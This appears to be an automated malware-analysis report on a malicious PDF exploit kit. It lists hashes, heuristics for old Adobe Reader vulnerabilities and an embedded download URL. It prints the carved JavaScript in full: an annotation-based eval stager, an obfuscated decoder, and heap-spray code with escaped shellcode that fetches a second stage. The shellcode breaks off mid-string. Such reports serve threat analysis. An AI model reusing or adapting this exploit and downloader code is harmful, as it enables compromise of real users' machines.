Malicious PDF — malware analysis report

Static analysis result for SHA-256 b4f979ca589883a3…

MALICIOUS

PDF

40.2 KB First seen: 2026-05-10
MD5: 4d4c621a85e28990e1395a8dc535ba71 SHA-1: fd0452b9b01e26ee445e90528920980addf6d7f0 SHA-256: b4f979ca589883a3534aa1078b58391299d11285335cb6f4f2cf8aee2352438c
510 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript and exploits a known vulnerability (CVE-2007-5659) related to the 'Collab.collectEmailInfo' function. The embedded JavaScript, particularly in the 'legacy_pdfkit_stage_000.js' and 'legacy_pdfkit_stage_001.js' files, is designed to download and execute further stages. The presence of U3D content also indicates a potential exploit vector. The combination of these factors strongly suggests a malicious document designed to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var F2Tib_Vr = new Array();var mVc__S = 0;var w_o_2Q37H_1Aov7 = "";function qpgq_5E73(BgRW_BHS, vF6Bn_845bl4_f){var U___8_8_b_2_rs = vF6Bn_845bl4_f.toString();var x43p_V3p6cD = "";for(var I128A_u_EcbbqY = 0; I128A_u_EcbbqY < U___8_8_b_2_rs.length; I128A_u_EcbbqY++) {var MBn23_3k83 = parseInt(U___8_8_b_2_rs.substr(I128A_u_EcbbqY, 1));if (!isNaN(MBn23_3k83)) {MBn23_3k83 = MBn23_3k83.toString(16);if (MBn23_3k83.length == 1) { MBn23_3k83 = "0" + MBn23_3k83; }else if (MBn23_3k83.length != 2) { MBn23_ …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-36062 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36062
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vtmxgwnpjvib.com/nte/NOV.html/yHadbf5425V0100f070006R00000000108Te1ae64a2201l0409 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A2 373 bytes
SHA-256: 068944f8c011a88ab770b45c6de142b9305a1f515d410204d5eadd9ac2b5bfb3
Preview script
First 1,000 lines of the extracted script
em = ''; em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (!em && r) {var z; var y; th = event['tar' + em + 'get'];var e = th[em + 'e'+ em + 'v'+'al']; z = y = th; 
	 y = 0; 	 z['syncAn' + em + 'notS' + 'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2FC 12747 bytes
SHA-256: 20c7120783df8c2aa8c7aff6ecbaedfa8544b85c4ee2586a8fe8256e6d970d71
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function B_u__s(k___1n3L__Bel8, Cpm2EVO_0g_RYh){  var v_D___M = 'um' + 'en' + "ts";v_D___M = 'a' + 'rg' + v_D___M;var UwH62ee = B_u__s[v_D___M]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];UwH62ee = UwH62ee["t" + "oS" + "t" + "r" + "in" + "g"]();var uRUw7_tK31 = 0;try {if (app) {uRUw7_tK31++;uRUw7_tK31++;}} catch(e) { }var E_W__c0 = new Array();if (k___1n3L__Bel8) { E_W__c0 = k___1n3L__Bel8;} else {var tK__f_iJ4 = 0;var V_M7n30_3Oa = 0;var uLO___3e87_yq = 512;var wnF302 = 52;wnF302 = wnF302 - 4;var MnxHK_v8 = wnF302 + 9;while(V_M7n30_3Oa < UwH62ee.length) {var CT_58a__4F_ph = 1;var V2rP_f3Cb = UwH62ee['c'+'h'+'arC'+'odeAt'](V_M7n30_3Oa);if (V2rP_f3Cb <= MnxHK_v8 && V2rP_f3Cb >= wnF302) {if (tK__f_iJ4 == 4) { tK__f_iJ4 = 0; }if (isNaN(E_W__c0[tK__f_iJ4])) {E_W__c0[tK__f_iJ4] = 0;}E_W__c0[tK__f_iJ4] += V2rP_f3Cb;if (E_W__c0[tK__f_iJ4] > 512) {E_W__c0[tK__f_iJ4] -= uLO___3e87_yq;}tK__f_iJ4++;}V_M7n30_3Oa++;}}tK__f_iJ4 = 4;for (var n___Xx46bd4 = 0; n___Xx46bd4 < 4; n___Xx46bd4++) {if (E_W__c0[n___Xx46bd4] > 256) {E_W__c0[n___Xx46bd4] -= 256;}}var X_B_J_ou4d5O = 0;var y1P2_T1xc72f8j = "";var f_OUpY_nmuEkBT = 0;var BR___VL_u8 = 0;var nBoF1F_E6s_fi1j;var Wp8WYy_lD = 0;while(f_OUpY_nmuEkBT < Cpm2EVO_0g_RYh.length) {var ra_Sr_a__O3__Y = Cpm2EVO_0g_RYh.substr(f_OUpY_nmuEkBT, 1) + "Z";var Vdfi2wW = parseInt(ra_Sr_a__O3__Y, 16);if (BR___VL_u8) {nBoF1F_E6s_fi1j += Vdfi2wW;if (X_B_J_ou4d5O == 4) {X_B_J_ou4d5O -= 4;}var W_hNIbptQ = nBoF1F_E6s_fi1j;W_hNIbptQ = W_hNIbptQ - (1 + Wp8WYy_lD + 1) * E_W__c0[X_B_J_ou4d5O];if (W_hNIbptQ < 0) {          var JBe_1uk = 256;W_hNIbptQ = W_hNIbptQ - Math['floor'](W_hNIbptQ / JBe_1uk) * 256;}W_hNIbptQ = String['from' + 'CharCode'](W_hNIbptQ);if (uRUw7_tK31 == 2) {y1P2_T1xc72f8j += W_hNIbptQ;} else if (uRUw7_tK31 == 1) {y1P2_T1xc72f8j += Vdfi2wW;} else {y1P2_T1xc72f8j += f_OUpY_nmuEkBT;}X_B_J_ou4d5O++;BR___VL_u8 = 0;Wp8WYy_lD++;} else {BR___VL_u8 = 1;nBoF1F_E6s_fi1j = Vdfi2wW * 16;}f_OUpY_nmuEkBT++;};var abcd=0; ;var R__pVQ_A = this;R__pVQ_A['ev'+'al'](y1P2_T1xc72f8j);}
	B_u__s(0, "C4CD66D9302E3CB6E8EB32534259F0E32323E44ACCAE19161EF5E7A7F3CEC032844FF3B81D9CC50D9647F2E274BCE7740D8B96FA6DF3A09C078DBB47A9FC7D85308E6F5F1F6A8B01AFFB8A41538C7726DDE149804D643A4408234BB39AAF0C2564320ADBF8DB00615B6E28F52102D9D0D48D16094F1BF7DCCEABC470943BB20440DF94768A72AE0348FABB99D651B261720BAAB74EAB8B91E8359A183A855BBB0F5E34517EAF78CC3C3F6C37E5E010D23E4E0664202B4AE5CCAD3E713B0DF21DCFCB29D86F5F0A6F37E5BCDE824CCB5547DDB601DB9BEDBC7B2FCE5343B580C18E41B37869B4A7E5056E9B73A10EA3034A9192D0EE24531D5F7D3EC9F33B758493CF561B5B551378AFAC5757838EF0C2001AF63CB96F23D529ECE95102BD1238933502CDF2D1E74CC544DBB961FECF47FD9ED7D7AD31BAB04ABE741AA30E78A66DE1933E0D5E8AFE9FB83C520B454B1EE4CC2C6A83AF463E04F439B3C08E136421570CCCB3A5E8A8734E2AF3F5FBE3C0965FC4261A09DAEBC87FEB449D14B3D342DBC7ADDC65D6342EBD928ADD85B61566F986F70C6F9750E1045FDF7EC18EAC22543416879C399606871C4EC40A22C87D5F4F61EDDC15DD787CEE711DFC0D27FC9EE7D85D67E04001AC1906CE8FF5556712A4F1E77EE68F692B9F5C0A8F8EF1D35ABB8D729C69EAC63E6561BDBC7D174C5E57C8AD27503036892CB3E20C22606EE96CED1D6C47A3B9FC1244663C0D950BEE323B8D9BEB082EFFCC5CB2D4D4F89E4BEA8C3AB2EB31A189F9F86A05DC7AC6A498DCAA1BAE704682AF15A048A5D375E09C19E61C60B666073C99164F8014D4DF747F7D80181AD6EE1C937287007D221F44F8E0AF38638950F7E13F1211C77E92F23659EC0C9DD36CCE788433DFE716BFA2ADD94FDC3F6FFAC389D3527930A71264B1408A857CA6405A1D77CA87B9160C51166AAD318D612C624FCFFB20093E69044BEADEF8E876B21A9E510C3420AEE919E59D61C8762CACC407B069EF6572DAF02E08A3ECC556EDA911048580008E52A26669ACBCCDE32C5E7172BE6BF55BA4589CEA1B6E3086826FD5D2192047818E14E40A62369AE5BC50014D3CF2C5E0CCEF29D270EB0D5522DFA1C8BFE400A05108CE3CEAA8659A3FECE058CFE04B01709F26A031C6A04AB5BB3F9245B7C442A17F48F5745AC276F044694189561DC9DD57A84FB224FDFD1D5FBA8A90116C512219FDB3F73E8E982C1213F4FB0FB4D55FEB4A1AF9B8EBFBC3AC52A44EE11EF68E9662A572C93F26EFBFC6D48DA9157BCC8CE84782A068A71F8BE6889796A6200C5C5299C87DCF21756221AAC4380E6D78598BDAF9F805B5B912B93D0D1344C3E2E2E58B6F1C5634F00119B182B8572321B4F9BC65A17D57098C1E03858000D752744152F597F91B6E5C6C62D250121B4C6CC8E7028048479F6BC6280A6C8ABCD36821131C63A3D8BE3B40819303BC1F07F4667A79D8E55539F299DD8DF3246362C2CC3FDEFB61D834C4FA51E8E577BE5784DD66DC8A6611AFAF36A44D99854B8C7C58174290D877DF7B56584A832AE01F78BB83AA5F05E6F80CB9CBAB2C7A50150F1607C4417C72811EE1FFBCE190C49B16092205C9AFCE8DEB869121E30730DDCD59A71C980826D58D93DA5DAF6A9DF1A7EB3CAD913DB2EC730285A55879DF53770F8FE036D94B7A6375EAD710DE4F5E1C6A19313702B9AE2EC24B07EB0EAEE72ADA9C1C0B402EE4EED19888B0721EF3D53CE374AC8E9D2FA236368AC3EDCF5E97886EE18921CE556D737ADD8F4A3D7187CBDC2D712644C07BE4264E6993B59425EF133751B3A6B43F148A7422A5F418F275BFAA1F115EECE96EB28DC9E5A90CF78C32D4DA1D9C789CBE22BEA037BE57840C6D24B08F0682B80C925996B740CB9358212F6FEEA1D495702E9172129EE924AC4DA4502FE60258AC9AD52F51634EFFC4C5F9115E5844FD2037FBF5B8C08E15421AF9B8D3E87EEB709153B3EC2FC7A4969868CD3B6D00C481E13C801578CC75C4308E6A7CD52BA3E459BD7B8D273B604EACD928AA062E2C31A4D746E7508B438831EF1F1EB19445A03E512205B98CE5D64A39C82FF6BCBEDCAA95DF81730EA4F4D75CAA989F328C19FAB2B2B7CD4BB3903DC3A9DB1271AAA8B6045002FE75559BB2FD777275916FF3144D594E6E9114EB131C63A3D8BE3B40819303BC1F070C82A9882DFF53ECE951B48CD0E769690BC133E8ED15AF3DAEB943FBE574E38FC60BAB157879F6A29E03D13B9FDC41B39527166196F4BAF445415D7F731AB01D5D69457918FFDB410E917D7C3657204B33F801AF0F8E8155EDF3FADD0FCABD71074B5C2DF19DC16CBD6E5207A0FB209ED398C9739B1467E7A592D4549154B30B89EC3C9EA976D30775E2449461A4234B593CACDE79C606373921B4D76DF88191169A13DC03FA766EF1C6220CF015B0A726DE9E711A7BE6EFFF06948DE9707B12F937FDB0E1CCA4ECBB383392BFBCDC4BB37842A489FF14636DB0B8D46148469A9C9EE2E8386067BF5DD421057B9CB6D5601E0A24299FF4E30D50985401E8261A3C3EC26A240264332099BC8EDC287F5FE59C39A5A868A75EEAD8330BE64DCF9FCC17B2F1C05D01896C12C44A97967DE26C2A1D6496057BF4579E236E7E0CAF1B7A814BAF604B2E0154918F7C21575C43050800B4F9A08E7A34F62ACA23CAC09F185B632AFFA5C678EF62A52DC314FD9E9D74DC61DC4278FA7CA2F48AA726AD227CBA4DA4A695AB34672E78D18EA8225583476AF03AD22F6B6938F5E25DCB77712593E221441CB59910B0632E1444EDA2E09981650752FDD3C8C1C77DF394300BCFF215B2D9CF561DC45235CBB5C6A142884C3ABD78CDE32C6CB972FF60380E8F54CCB532796F368D5EFF090D6F9B869D672158741DB5A6C9FC56908143D81F1C2931B1A517E22D13D56C08BD12E5753D07A202B0B954C942C1E522D990860E93D5086F018F70FEB1B830D12984C47FBE8858093254ADABED7F80147B5BDEB92265BB3AB12F4D151F21918F7C5573535F37FAFAE1F04F4B81F5F1FBCCD5CA975CDD191F31D1ADCF7CB186640DE507F3E1D6719F358D423FBC9191C791892573DC69FE109D6D4E9B415FE478C245BAE420783B6FF13AA01E452176B2CE26F643A11C8BEFF5FD32BC7F32B31751F71AEFD2D9EE9062D844EB01D2D7C753B5AA610EBCFABFB1A8C39C32916637BE94B89361B9516FE06D220C72A0A26711963B449249DEAA1F4E5E3BC144F3E715259A7ECF24ED0F714A85E8BD0156525008A8E321F43F8A74DD122EFFE169B7D1D1F59120B9CEFDAFBD1D8B81DFB465CC923ED9A2C51B5A04B7AA1CB49702C53B75DB2EA9541BCF7161BD7BBC41961B4C45E5A3213D794F6C1D52EFFC21A1747C0B25101149D2BAB5F8529B45ECFAF2C1258E8E65D40E6FF5C8B6C67101779441B9CA439CA4699A21DD026CBC8C86177D812B72D1B9B90A6F6842EBFC5CE142819579DE2476FEBFB46A9D49317132E5D320BA9364468A1EE14DEF868204766713241DBE9129AC5D2C0B323BBCCFD89641059A60E5BAEE0F74DAC369F1E1210A9298AAE3528B516CA1BDDDDA429D66B701680A17519999AAF47E228B7C3CC1E201758B87D126DE5F324E83BEB151115252359A33E2FC398A612DD42803E156079204FB911109BF30B1BC12DB44DEB238C1E57AD6919CCEAFEC88740F71C101A20C708A83D06B310C219DC576C05346574C40E8E4D179AF7B732D022B0123A58981553D1E200BBEFFACF8608C31312723D3E57AD3910A215CE10DB0C981F236A714B1080791E9699E61CBF27BBC8C91D341C52DA0DC74AE4F716981D9F1A1E64591526A231C480F82A17D9D163C2D26F70256C54E5159591DF10EE2CB8105865301351AC0A1E59E9F2CDA4528B111D59551C35A73DFE601CA61ED946BFC9C16479491EBCF11C97F6DB3AAD21B427173A7C1A50B13635C8EEFEC4B344B7181F61414334AC3A42DE922215DB0BDBC0F06974C04A9F1D1393F8F6E1DC26B02E168CA8115F9614FCA7E3FACB81D9E31F1B963D1D23A135C980C6BE1CD750E7F7CF6E70C70994391A95CDA2F5BB2BBC14C56124185EAB5E1376E8FA25E12E6F161A28291162A63520CD1BDA13D645B3CECE637D211859451191E2DECC9A20B81C2779801F5DA2F9CA85EDF349B023FB1D191D67F821AB3E474BD0B61AD4DA6FF8DD687BE547CE311890E80E26E925B412D31BAC165CD80611A4E2FEF3BF48B7141882614220A03A3ECAC5F211D73FBBCCFC6D754F26A34D1F9FBCA73AE82AB32A1210581D5E8A71F873E7FB079E1DF31B17175FD94FA535F57CCAFE18D2D7CB06EB6270D3087B391691F1C2F2072FBBC1418564145D8200FF52ECF6CEBCD5AF12165C2C001EAA352C5BE2CA1FD1ECC3FDEA67701A74CD351D9E19CF1BD624B7E8006D701B5C9729C671E1F348AC37CB19155444C73DAF3E169817C616D0DE9FD4F96C7944269521149D1ECACFC529B6FF1F1F5C1258AC38D060E6F1FCBB2CF7101416241B8CA43D2DA9FD021DD056BF2C286174CB529A3D1B9C212A19B42EB048D177781957C131C79FEBFE13AD11E317134B5D323BA9364458C1BE14DF08C812E76670E2616EF9129AE6133D8323BC3D5D5994105652EE0BAEE0F73AC936EF1E128029394AAE31EBA4C6BA1BDE4DC3EA266B7D2940C1251999FB1F350228B8271C8E901755BAFA324DE5F322184BCB151138752029A33E22A3F8D612DCF5C0210560793D4FB9311098B30B2BD12DB40E2B567C1E54703619ACEAFF38C730E71C107D512A48A83A36D2B10219DC377C05446575242EBB2D1797C4F722E022BFF1EA48681553A241F09BEFFAFF960563131F4F2CFE07AD35FD41F30E10DB0C67FC336A70FB0D8FE91E96E9C2F9EF27BBF8C94D241C5286EDF74AE4F6F6850A6F1A1E4428F506A231F440C7BA17DA21A3F3426F7CF21CB5351595FEFF209E2CB7F008428013518C0A2E59E9F2FD840F8B111D7C54FC15A73DFB8FCCA61ED906FFF9C130DBDD0F59C36B37054EF7BCDE32CB1AFA70F93364E914CD2F11B4C32619B5709E411308976B453263064337ED9EB11574E3C17C631F5FC3D8BA31BD33B30D55ACDD201374E2E08AE29E0F743996F9CBE22CCE849CE5C94D96AF7CE9E486CA330D13B9FC472BF773BF11C65ADBBC38C8035513E21E31A6BBD825C22FDE80762D2C47C4356613D1708AAB9E86F9A611B2531F2E3B87E59C411511BF7DCF5ABF064751EC7D0FEE4A7719337A91F74E38DD018548168A61ABCBE425C753DC5138DE771938EA40D4B4C018BCE76C4177B7239B30F580396614C55DA1F2930A78F3B7A2D522157AEC413E95D32172D03ACC4F2BA7DF3A453EDB71FCE6FA89E66EC991102D494B59E1C844933AB8A21FB6BA0B098CF9310449B9689A232796F36A580F5114033596EA914E9251C41C1EAEB4014563C0C95160B343C90ABF3BD4F401090F68FD4F05915B4D410AEDC56C86BD2F35DF5E479FD9097DD97DC955D179EBA28A34BB69D3FDF9C67223190AD71AC9158527B63EAB92981AF8FAA5B511F3B5A91A2C3236B222333F8D7DDFF554F87322234BC22B4AF8BEE546410E2DCF596C4845219A0C7F0A7DAA8DC1C901637BE94A20191AF3AA10EA6FA335C753DA6074CFA438E58860D61731EADDE6ADE3F2C3821B3CE2BB5675D1661FB1B4D1C9BAF2EB36335EB10B78C2FEB894D075731F6F0EBC17BDA6D71CCAF06BAB1E6C2A92FCD61378482AAE31CB7496DA1BDDD093C9F636BD7AD4B3F9E44D4D9236A5C4B993ED6045020626E8E16F4506B5A6DAED50D135A5D2FEA1DF1276BBCAD11BD33ECDC6CB2A5D1F7662DF3CE29C1EB4FC87DD5A13EBCA74ACE6784F26BEE907E35C1AB16D53EA2D667975F22CA7793ECADDE7B562F4E5507F2CC2F863AAE572E151657DBA6A63F64382447D407F03096993A1F302E0811B7B1A0135B5FDCD59DD9BBF87D933EAE083DD8E09ECD70AD3A67F5C8AA1082BF1DB91FB9EB4476583F98F84C1E85C35A65194B7B2BA9B1559F2B5E707EABD751058E5A47951F1D4A11BFB931A06750E852E4CF13D87D25E38A2C010A04D685FFA31E19F5280BACD7D15E3CCB3D33B2D5E4A563A35A33F7BE0E182C7FA073008036465D5989B7DC855379AB6BE4ED45664576946418365D3EC2E5C35330633C0EB2DEE4E42F805C28FC422D02A6F19317146F0CD07902AAB91E8F2CF8FD220CCF61FF82D9087133A77EF6886C08A00D698589E0665EF35B95C4B9D289573B61511FA6DE37753A5E1D52E62F1CD477D110681E4FF6C5AAEC277987623120F913FF96876705596AEAD9E60E90C4709147DF1910DE94768A4CCF106CC093C00169B12C79199AEC399B8B3DB3EC8D21828A93AA22407D46AFCB7DE10E2E5D71F2CA31FE96701C881927373198BEF47A1408E016B7A731999362C83536EBE802B891EF6C75FBC5E9D65CAF8B67FE95114DC2D5F3D160BD88789C8F14D954AB7179FB94FD074C9FDDEC3538788A7E71DA1149379894D92A122F3D5275B8BE0801444145A521DC272ECF6C1BCD59EED85102BBEC268461F39041CBC916A182DDF32202E374FD8BC3136F1BB15D136C7901EA1383AB51B2773FEE379CF5AFFF4A8847905123EC1B78BC42A26B3C152B4BDB87BB39310E5247F8E9DB27975B6B15EDE20223B4BD8B03532F1BF1A9B6B2FF70913BDF0F03CBCD62A57988306700BFC9CA817915B90FB3F74DABA482A43C9E1A80D08CB3D60E7547B8EB7CE006717464E70C64FE8D9A048E2C2E472F787507716F59074CC1B423A9615B0C35EFC719159481D9946BE3F70F0772D1A277369422058880A79361847C3ADF6D22D66F6CA464C850453D7885BFEF1B4F74658D35CC1B42204D91CB251D3A5D507EBBB5FC5C838C40A32118296ACC90210A5B1B21A5BA9FFFF6923CF5C1FBB1B128E389F2E274BCD576018B960885DC955D0687C232E4FC83D36DD5932B1E3177EC7EE28E53153C4DD5DF1C74778AA86D44FF3A5FACB8CB52251662350BAAECF95D85751B20F2FBE5C37E69C41935DC08AEC6ABF570910CDFDA3C8CB059AD6AC73665BED096F17B884BB0DE77B746A1A684EA3467D1828D50A4174B7309A9B1769811351C7CF8FD62B5758B436BFD2E0E318AB8EC8E121F2E44F7CBE6ED5F4B07451CFECED4BD8CC1655D15E328CA9BADCB93FAE25644CFC9F4DC27BD7F2AA49F0C054E7FB378106441FE6A44CEDB1F772F759735B12DFC6586B1CB2618351C256DDDEB3B23658E06E9F218FF29D7B9210316F40DA1028A162E9363F9CB20E1FA60CF7BEAA13FD9904ECC5D94DC5AE27E5D3BADAF30A43B8B854A8C6D27DB2F51ADC1F17D84414E6F009EE92482486D2B18333552917A7D086A4F4F33CBE9C7E8694645DC3D3EBC15B6C18BD64845DCD6BAB685BA435BFCFC21EE8C94598B24CD2E69EB8EC0ED3C8C1576CCC005FAA19980D5FE8BFC329A5D65E61A4510739C84E9062C1C21A3C455F6818B168805DC14DD8D6C48CD12412148ED9E13C44A3AE52DFDBACDD58B45B0B06B1DE33A0A9BEC859B2DCF5004BBABAEA969");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2FC 5346 bytes
SHA-256: 138b72cd35b10fcc29c5c60659d2cfbcb2f72a4dbb253f52d3305069baeb8f11
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var F2Tib_Vr = new Array();var mVc__S = 0;var w_o_2Q37H_1Aov7 = "";function qpgq_5E73(BgRW_BHS, vF6Bn_845bl4_f){var U___8_8_b_2_rs = vF6Bn_845bl4_f.toString();var x43p_V3p6cD = "";for(var I128A_u_EcbbqY = 0; I128A_u_EcbbqY < U___8_8_b_2_rs.length; I128A_u_EcbbqY++) {var MBn23_3k83 = parseInt(U___8_8_b_2_rs.substr(I128A_u_EcbbqY, 1));if (!isNaN(MBn23_3k83)) {MBn23_3k83 = MBn23_3k83.toString(16);if (MBn23_3k83.length == 1) { MBn23_3k83 = "0" + MBn23_3k83; }else if (MBn23_3k83.length != 2) { MBn23_3k83 = "00"; }x43p_V3p6cD = MBn23_3k83 + x43p_V3p6cD;}}while(x43p_V3p6cD.length < 8) { x43p_V3p6cD = "0" + x43p_V3p6cD; }var fNM_0t = BgRW_BHS.toString(16);if (fNM_0t.length == 1) { fNM_0t = "0" + fNM_0t; }else if (fNM_0t.length != 2) { fNM_0t = "00"; }x43p_V3p6cD = "3" + fNM_0t + "P" + x43p_V3p6cD;return x43p_V3p6cD;}function iw_45KOKx250d(H_mFhK1S_5v, GQsI841gc6Ed){var VR2___w3Ga = new Array("");var cce2qY = H_mFhK1S_5v;var HyOLub;if ((HyOLub = H_mFhK1S_5v.lastIndexOf("%u00")) != -1) {if (HyOLub + 6 == H_mFhK1S_5v.length) {VR2___w3Ga[0] = H_mFhK1S_5v.substr(HyOLub + 4, 2);cce2qY = H_mFhK1S_5v.substring(0, HyOLub);}}HyOLub = 1;for (I128A_u_EcbbqY = 0; I128A_u_EcbbqY < GQsI841gc6Ed.length; I128A_u_EcbbqY++) {var c3hXR06l = GQsI841gc6Ed.charCodeAt(I128A_u_EcbbqY).toString(16);if (c3hXR06l.length == 1) { c3hXR06l = "0" + c3hXR06l; }VR2___w3Ga[HyOLub] = c3hXR06l;HyOLub++;}I128A_u_EcbbqY = VR2___w3Ga[0].length ? 0 : 1;VR2___w3Ga[HyOLub] = "00";VR2___w3Ga[HyOLub + 1] = "00";HyOLub += 2;if ((VR2___w3Ga.length - I128A_u_EcbbqY) % 2) {VR2___w3Ga[HyOLub] = "00";}while(I128A_u_EcbbqY < VR2___w3Ga.length) {cce2qY += "%u" + VR2___w3Ga[I128A_u_EcbbqY + 1] + VR2___w3Ga[I128A_u_EcbbqY];I128A_u_EcbbqY += 2;}cce2qY += "%u0000";return cce2qY;}function OGa6_7n___8(ARnW1ov81shnx5h, cQsQCo){while (ARnW1ov81shnx5h.length*2<cQsQCo) {ARnW1ov81shnx5h += ARnW1ov81shnx5h;}ARnW1ov81shnx5h = ARnW1ov81shnx5h.substring(0,cQsQCo/2);return ARnW1ov81shnx5h;}function t2eI_m7sFm6YEAj(el__MD_qRT__6, Wi_E7G, eac_2_K){var QXacoUA3V430A0 = 0x0c0c0c0c;var ARnW1ov81shnx5h = unescape(Wi_E7G);var GQsI841gc6Ed = qpgq_5E73(el__MD_qRT__6, eac_2_K);var u7p_S5 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var H_mFhK1S_5v = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5770%u7947%u0046%u7468%u7074%u2f3a%u762f%u6d74%u6778%u6e77%u6a70%u6976%u2e62%u6f63%u2f6d%u746e%u2f65%u4f4e%u2e56%u7468%u6c6d%u792f%u6148%u6264%u3566%u3234%u5635%u3130%u3030%u3066%u3037%u3030%u523